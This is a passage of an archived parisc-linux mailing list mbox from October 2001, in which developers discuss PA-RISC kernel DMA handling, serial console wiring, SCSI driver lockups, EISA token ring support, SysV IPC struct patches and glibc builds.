The fake pdev's points to the correct OPS in the first place.
And systems which don't have EISA or GSC support wouldn't need
this and could continue to use the original method:

#define pci_alloc_consistent(p, s, a)   hppa_dma_ops->alloc_consistent(p,s,a)


> Then we have:
> 
> PCXL, L2:
> 	if (pci_dev == NULL) return wax_alloc_consistent();
> 	else kmalloc()
> 
> ccio:
> 	if (pci_dev == NULL) return wax_alloc_consistent();
> 	ioc = find_ioc(pci_dev);
> 	...
> 
> astro/elroy systems remain unchanged.

I don't like this for performance reasons.
Branches on PCX-U systems are 15+ cycles if predicated wrong.
With this, we've added a branch and a function call where
we really only want to make one function call.

> The only question is how/where to obtain this pci_dev, and how to give
> it to the drivers which need it.

I think it has to be during the regular buswalk for that bus.
(either EISA or GSC).
The HBA managing the bus walk will know which dma_ops need to be used.

One idea is the either make pci_dev the first part of the EISA/GSC struct
(which you've suggested before) or allocate a new pci_dev and have a
pointer to it from the parisc_device struct. I'd like to see more thoughts
on this from others.

grant




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GSC & EISA devices and pci_alloc_consistent
Date: Tue, 16 Oct 2001 23:10:28 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20011016231028.A10728@zaphod.halden.lillfab.se>
References: <20011016213234.I15532@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620635 28076 80.91.229.3 (22 Nov 2014 01:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 15:10:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailf.telia.com (mailf.telia.com [194.22.194.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60217482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 15:10:35 -0600 (MDT)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by mailf.telia.com (8.11.6/8.11.6) with ESMTP id f9GLAUK16959;
	Tue, 16 Oct 2001 23:10:30 +0200 (CEST)
Original-Received: from zaphod.halden.lillfab.se (t3o70p7.telia.com [62.20.149.7])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id f9GLATf27310;
	Tue, 16 Oct 2001 23:10:29 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id XAA02171;
	Tue, 16 Oct 2001 23:10:29 +0200
Disposition-Notification-To: Daniel Engstrom <5116@telia.com>
In-Reply-To: <20011016213234.I15532@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Oct 16, 2001 at 22:32:34 +0200
X-Mailer: Balsa 1.1.4
Original-Lines: 25
Xref: news.gmane.org gmane.linux.ports.parisc:12676

On 2001.10.16 22:32 Matthew Wilcox wrote:
> I think the solution to this is to create a fake struct pci_dev that our
> drivers hand to pci_alloc_consistent.  Then we have:
> 
> PCXL, L2:
> 	if (pci_dev == NULL) return wax_alloc_consistent();
> 	else kmalloc()
> 
> ccio:
> 	if (pci_dev == NULL) return wax_alloc_consistent();
> 	ioc = find_ioc(pci_dev);
> 	...
> 
> astro/elroy systems remain unchanged.
> 
> The only question is how/where to obtain this pci_dev, and how to give
> it to the drivers which need it.

We could add it to struct parisc_device. Then it could be setup as required
in alloc_pa_dev() from the IODC/PDC data (assuming that one can tell where
the device is located from that data)

/Daniel
-- 




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help - Serial console problem
Date: Tue, 16 Oct 2001 23:24:03 +0200
Organization: private
Lines: 69
Approved: news@gmane.org
Message-ID: <3BCCA573.8419CD4@gmx.at>
References: <200110161840.MAA15315@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620635 28078 80.91.229.3 (22 Nov 2014 01:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:55 +0000 (UTC)
Cc: paul lee <wbm111us@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 15:24:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41DBB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 15:24:52 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011016212448.XQNI15028.viefep13-int.chello.at@gmx.at>;
          Tue, 16 Oct 2001 23:24:48 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12677

Hello,

I think the problem has to do with the hardware handshake.
The silly M$ OS has the problem, that it expects correct
settings of the hardware handshake lines, although hardware
handshake is not used. The same is true for the default BIOS
(int 14h) driver. On Linux, for example, this problem is
not present.

The PC under any Microsoft system or under BIOS (int 14h)
control does not send any character, if the CTS line (pin
5 on the D-SUB-25) is active. A linux PC used via serial
console on a Win2000 system is working, as the Linux PC
activates the lines, although it is not using them. 

So sum up: Windows expects on the input side an active
CTS to send. Linux does not require this line active,
but activates the output for a machine on the other side,
who needs the output active. 

The HP workstation and server (so my HP 55E 9000/856) do
not activate the handshake line, so the CTS pin on the
Win2000 side is inactive. Is was not possible for my to
activate the handshake lines on the HP server via `stty'.

The most simple method to get it working:
Make a special cable with a 3-wire conection to the HP
machine (TXD, RXD, GND) and solder two bridges on the
Win2000 side in the connector:
	for 25-pin:  	4 <-> 5
			6 <-> 20

	for 9-pin:	7 <-> 8
			4 <-> 6

This should work then ....


With friendly regards
	Christoph P.


Grant Grundler wrote:
> 
> paul lee wrote:
> > I could not access a C200 workstation via serial
> > console. Could someone please give me some insight?
> > I use hyperterminal on Win 2000. The settings are
> > VT100, 9600, 8-N-1 and Xon/Xoff.
> 
> The settings are correct.
> It's possible the serial cable isn't wired correctly
> or the C200 isn't trying to use serial port1.
> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at





From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New scsi driver for 53c700 and 53c710 committed
Date: Wed, 17 Oct 2001 00:08:33 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20011017000833.C10728@zaphod.halden.lillfab.se>
References: <20011008230949.U11105@linuxcare.com> <20011013233216.A24926@zaphod.halden.lillfab.se> <20011016101716.A11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620635 28083 80.91.229.3 (22 Nov 2014 01:43:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:55 +0000 (UTC)
Cc: Daniel Engstrom <5116@telia.com>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 16:08:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailf.telia.com (mailf.telia.com [194.22.194.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7294482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 16:08:39 -0600 (MDT)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by mailf.telia.com (8.11.6/8.11.6) with ESMTP id f9GM8ZK02264;
	Wed, 17 Oct 2001 00:08:35 +0200 (CEST)
Original-Received: from zaphod.halden.lillfab.se (t5o70p35.telia.com [195.67.239.35])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id f9GM8Yf03593;
	Wed, 17 Oct 2001 00:08:34 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id AAA02734;
	Wed, 17 Oct 2001 00:08:33 +0200
Disposition-Notification-To: Daniel Engstrom <5116@telia.com>
In-Reply-To: <20011016101716.A11105@linuxcare.com>; from rhirst@linuxcare.com on Tue, Oct 16, 2001 at 11:17:16 +0200
X-Mailer: Balsa 1.1.4
Original-Lines: 37
Xref: news.gmane.org gmane.linux.ports.parisc:12678

> > I have some problems with this driver on my 715-50/old installed from the 
> > 0.92 cd.
> 
> We've had one problem report so far that was fixed by adding a scsi
> terminator. 
Well I have terminators at both ends, the external one is an active terminator 
and the internal on is the original HP part. 
I also tried to remov the external CD from the bus to day but it had no effect.

> The new driver runs fast sync scsi transfers, while the old one ran slower
> async. 
The 715 i have have a vanilla 53c700 chip and as far as I can tell this chip 
supports only async transfers. The driver will not enable sync tranfers unless 
you have at least a 53c700-66 device.

> Poorly terminated scsi busses are much more likely to fail with the new driver.  
> James Bottomley posted a patch to disable sync transfers a few days ago, 
> could you try that and see if it helps?  
This patch will only disable sync transfers if you have a 53c710, I changed it to
disable sync tranfsers regardless of the chip in question. It did not make things 
any  better, though (as one would expect considering the capabilities of my chip). 

> Also let us know what you system has by way of scsi termination.
See above. I have two 3G Quantum drives on the bus and until today I had a dual speed
Toshiba CDROM in an external enclosure.

I have enabled debugging in the 53c700 driver, whith this debugging the driver seems 
to stay alive longer that without debuging. Infact it has yet to lockup after running 
bonnie for 18 minutes (I booted an nfs root and mounted the scsi disk maunaly). I guess
the debuging printk's removed the lockup. I just rebooted in to the nfs root with a new 
kernel where the only change is the removal of the debug output, and this kernel dies after
a while (~10min) running bonnie. Please advise. :)

/Daniel

-- 




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Wed, 17 Oct 2001 00:26:22 +0200 (CEST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0110170023580.13382-100000@alpha.bocc.de>
References: <20011016210054.H15532@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620636 28085 80.91.229.3 (22 Nov 2014 01:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:56 +0000 (UTC)
Cc: Tom <palinux@alaskatech.org>,
	PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 16:28:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id D82F4482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 16:28:27 -0600 (MDT)
Original-Received: from ppp19.scram.de (ppp19.scram.de [195.226.127.212])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id f9GMS7C23080;
	Wed, 17 Oct 2001 00:28:07 +0200 (CEST)
X-X-Sender: <jochen@alpha.bocc.de>
In-Reply-To: <20011016210054.H15532@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12679

Hi Matthew,

> Hmm.. could you try with the driver built in?  People have been reporting
> that modules aren't working any more.

Looks a bit better now:

ibmtr.c: v1.3.57   8/ 7/94 Peter De Schrijver and Mark Swanson
v2.1.125 10/20/98 Paul Norton    <pnorton@ieee.org>
v2.2.0   12/30/98 Joel Sloan     <jjs@c-me.com>
v2.2.1   02/08/00 Mike Sullivan  <sullivam@us.ibm.com>
v2.2.2   07/27/00 Burt Silverman <burts@us.ibm.com>
v2.4.0   03/01/01 Mike Sullivan <sullivan@us.ibm.com>
tr0: ISA P&P Auto 16/4 Adapter found
tr0: using irq 9, PIOaddr a20, 16K shared RAM.
tr0: Hardware address : 00:04:AC:35:AE:E7
tr0: Shared RAM paging enabled. Page size: 16K Shared Ram size 63K
tr0: Maximum Receive Internet Protocol MTU 16Mbps: 16344, 4Mbps: 6104
tr1: Could not grab PIO range. Halting driver.
tr2: Could not grab PIO range. Halting driver.
tr3: Could not grab PIO range. Halting driver.
tr4: Could not grab PIO range. Halting driver.
tr5: Could not grab PIO range. Halting driver.
tr6: Could not grab PIO range. Halting driver.
tr7: Could not grab PIO range. Halting driver.

It recognizes the adapter correctly, but then the driver seems to find 
some "shadow devices" which it tries to configure and, of course, fails to 
do so...

However, the device still doesn't work:

hp720:~# ifconfig tr0 1.1.1.1
SIOCSIFFLAGS: Resource temporarily unavailable

This *might* have to do with interrupts, though...

Cheers,
Jochen





From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Tue, 16 Oct 2001 23:32:22 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20011016233222.J15532@parcelfarce.linux.theplanet.co.uk>
References: <20011016210054.H15532@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.33.0110170023580.13382-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620636 28089 80.91.229.3 (22 Nov 2014 01:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:56 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Tom <palinux@alaskatech.org>,
	PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 16:32:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 474AA482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 16:32:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15tcl4-0001Wg-00; Tue, 16 Oct 2001 23:32:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0110170023580.13382-100000@alpha.bocc.de>; from jochen@scram.de on Wed, Oct 17, 2001 at 12:26:22AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12680

On Wed, Oct 17, 2001 at 12:26:22AM +0200, Jochen Friedrich wrote:
> tr0: ISA P&P Auto 16/4 Adapter found
> tr0: using irq 9, PIOaddr a20, 16K shared RAM.
> tr0: Hardware address : 00:04:AC:35:AE:E7
> tr0: Shared RAM paging enabled. Page size: 16K Shared Ram size 63K
> tr0: Maximum Receive Internet Protocol MTU 16Mbps: 16344, 4Mbps: 6104

That's cool.

> This *might* have to do with interrupts, though...

Maybe.  I'm not sure that interrupts 8-15 work; may need to program the
intel chipset to do it properly.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SysV IPC structure mismatches
Date: Wed, 17 Oct 2001 01:25:33 +0200
Lines: 129
Approved: news@gmane.org
Message-ID: <20011017012533.A8727@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620636 28090 80.91.229.3 (22 Nov 2014 01:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 17:25:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD90545E7.dip.t-dialin.net [217.5.69.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 800F0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 17:25:53 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id f9GNPXW08910
	for parisc-linux@lists.parisc-linux.org; Wed, 17 Oct 2001 01:25:33 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:12681

Hi,

while working a getting X running I already found a mismatch between
kernel and glibc structs for SysV shared memory. I thought, that I fixed
that, but I just fixed the needed part for X. Yesterday I tried to find
out why Mozilla just locks up without showing any sign of life. I've
found, that shared mem struct is still broken and semaphores and msg
queue structs are also broken. The kernel structs are aligned the way
they are, because this allows us to use the same structs for 32 and 64bit
kernels (my change to shmbuf.h already has broken 64bit kernels). But
the glibc headers don't match them. I see two ways to solve this:

1. Change the kernel structs to match the current glibc structs

    Works for 32 bit kernel, but we need ugly code for 64 bit
    kernels (we would need to word swap 64bit values)

2. Change the glibc structs and back out my last commit of shmbuf.h

   Would break binary compatibility for applications using SysV IPC
   shmctl (*_STAT) syscalls. But it would avoid any problems with
   64bit kernels and a maybe comming 64 bit userland. And even 32 bit 
   kernel with 64 bit time_t will find a more sane enviroment

As you might guess going the second way, seems to be the right, because
breaking binary compatibilty now, isn't that big issue, because all the
stuff we have right now, is available in source and easy compilable.
This could change, when there are commercial applications for Linux/Parisc.
But right now, we seem to have a problem building a new glibc (why ?),
so doing it immidiatly isn't that easy.

I've attached a patch, which implements the first way, which breaks 64bit 
kernels. With this patch the nspr testsuite passes all the semaphore tests,
which failed without the change. I could commit that patch, but I believe
it's the wrong way.

Thomas.

Index: include/asm-parisc/msgbuf.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/msgbuf.h,v
retrieving revision 1.3
diff -u -r1.3 msgbuf.h
--- include/asm-parisc/msgbuf.h	2001/02/27 00:48:51	1.3
+++ include/asm-parisc/msgbuf.h	2001/10/16 00:24:05
@@ -13,18 +13,18 @@
 
 struct msqid64_ds {
 	struct ipc64_perm msg_perm;
+	__kernel_time_t msg_stime;	/* last msgsnd time */
 #ifndef __LP64__
 	unsigned int   __pad1;
 #endif
-	__kernel_time_t msg_stime;	/* last msgsnd time */
+	__kernel_time_t msg_rtime;	/* last msgrcv time */
 #ifndef __LP64__
 	unsigned int   __pad2;
 #endif
-	__kernel_time_t msg_rtime;	/* last msgrcv time */
+	__kernel_time_t msg_ctime;	/* last change time */
 #ifndef __LP64__
 	unsigned int   __pad3;
 #endif
-	__kernel_time_t msg_ctime;	/* last change time */
 	unsigned int  msg_cbytes;	/* current number of bytes on queue */
 	unsigned int  msg_qnum;	/* number of messages in queue */
 	unsigned int  msg_qbytes;	/* max number of bytes on queue */
Index: include/asm-parisc/sembuf.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/sembuf.h,v
retrieving revision 1.3
diff -u -r1.3 sembuf.h
--- include/asm-parisc/sembuf.h	2001/02/27 00:48:51	1.3
+++ include/asm-parisc/sembuf.h	2001/10/16 00:23:32
@@ -13,14 +13,14 @@
 
 struct semid64_ds {
 	struct ipc64_perm sem_perm;		/* permissions .. see ipc.h */
+	__kernel_time_t	sem_otime;		/* last semop time */
 #ifndef __LP64__
 	unsigned int	__pad1;
 #endif
-	__kernel_time_t	sem_otime;		/* last semop time */
+	__kernel_time_t	sem_ctime;		/* last change time */
 #ifndef __LP64__
 	unsigned int	__pad2;
 #endif
-	__kernel_time_t	sem_ctime;		/* last change time */
 	unsigned int	sem_nsems;		/* no. of semaphores in array */
 	unsigned int	__unused1;
 	unsigned int	__unused2;
Index: include/asm-parisc/shmbuf.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/shmbuf.h,v
retrieving revision 1.4
diff -u -r1.4 shmbuf.h
--- include/asm-parisc/shmbuf.h	2001/09/29 16:40:09	1.4
+++ include/asm-parisc/shmbuf.h	2001/10/16 00:23:09
@@ -14,18 +14,18 @@
 struct shmid64_ds {
 	struct ipc64_perm	shm_perm;	/* operation perms */
 	size_t			shm_segsz;	/* size of segment (bytes) */
+	__kernel_time_t		shm_atime;	/* last attach time */
 #ifndef __LP64__
 	unsigned int		__pad1;
 #endif
-	__kernel_time_t		shm_atime;	/* last attach time */
+	__kernel_time_t		shm_dtime;	/* last detach time */
 #ifndef __LP64__
 	unsigned int		__pad2;
 #endif
-	__kernel_time_t		shm_dtime;	/* last detach time */
+	__kernel_time_t		shm_ctime;	/* last change time */
 #ifndef __LP64__
 	unsigned int		__pad3;
 #endif
-	__kernel_time_t		shm_ctime;	/* last change time */
 	__kernel_pid_t		shm_cpid;	/* pid of creator */
 	__kernel_pid_t		shm_lpid;	/* pid of last operator */
 	unsigned int		shm_nattch;	/* no. of current attaches */



-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new glibc dpatch
Date: Wed, 17 Oct 2001 00:42:18 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20011017004218.K15532@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620636 28091 80.91.229.3 (22 Nov 2014 01:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 17:42:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 562FC482A
	for <parisc-linux@parisc-linux.org>; Tue, 16 Oct 2001 17:42:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15tdqk-0002nM-00
	for parisc-linux@parisc-linux.org; Wed, 17 Oct 2001 00:42:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12682

due to a few people hassling me, i've created a new hppa patch for glibc.
it incorporates a couple of changes Carlos posted to the list and adds a
couple of diffs of my own.  i've sent it to BenC for the 2.2.4-4 release
of glibc, which he assures me is imminent.

You can find it at
ftp://puffin.external.hp.com/pub/parisc/src/glibc22-hppa.dpatch

have fun.  it's still building on paer.d.o, but i would expect it to
fail to build in the same place as before.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SysV IPC structure mismatches
Date: Tue, 16 Oct 2001 20:16:25 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <20011016201625.C7269@megatonmonkey.net>
References: <20011017012533.A8727@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620637 28092 80.91.229.3 (22 Nov 2014 01:43:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:57 +0000 (UTC)
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 18:15:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0CB6482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 16 Oct 2001 18:14:58 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f9H12dG22595;
	Tue, 16 Oct 2001 21:02:39 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f9H0GPl11218;
	Tue, 16 Oct 2001 20:16:25 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011017012533.A8727@solo.franken.de>; from tsbogend@alpha.franken.de on Wed, Oct 17, 2001 at 01:25:33AM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (3% Sync Ratio [..........])
Xref: news.gmane.org gmane.linux.ports.parisc:12683

> 
> As you might guess going the second way, seems to be the right, because
> breaking binary compatibilty now, isn't that big issue, because all the
> stuff we have right now, is available in source and easy compilable.
> This could change, when there are commercial applications for Linux/Parisc.
> But right now, we seem to have a problem building a new glibc (why ?),
> so doing it immidiatly isn't that easy.
> 
> I've attached a patch, which implements the first way, which breaks 64bit 
> kernels. With this patch the nspr testsuite passes all the semaphore tests,
> which failed without the change. I could commit that patch, but I believe
> it's the wrong way.
> 
> Thomas.
>

The second way is the best way.
"El nuevo" GCC causes broken binary compatibility anyway, so no worries.

I think we'll be recompiling all of our applications many times over
before we are stable ;)

I have the assembly for ld sitting beside me (waiting for my coffee break
to trace assembly).

If you want to help, you can try to compile glibc-2.2.4-2 for hppa.
Having more than one person look at it can be better. The latest glibc
for hppa is glibc-2.2.3-8?

It seems like a problem in the compiler, since we don't even get to running
anything important before it barfs (literally about 60 instructions in 
_dl_start before an assert fails). 

What is the problem? Don't know. Looking at assembly in hopes it jumps out.
My collection of annotated PA-RISC assembly instructions is helping :}

I have glibc compiled with -O1, since IMHO it makes the assembly saner.

c.




From - Thu Nov 08 21:19:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc builds!
Date: Tue, 16 Oct 2001 21:09:25 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20011016210925.H537@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620637 28097 80.91.229.3 (22 Nov 2014 01:43:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 16 22:09:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
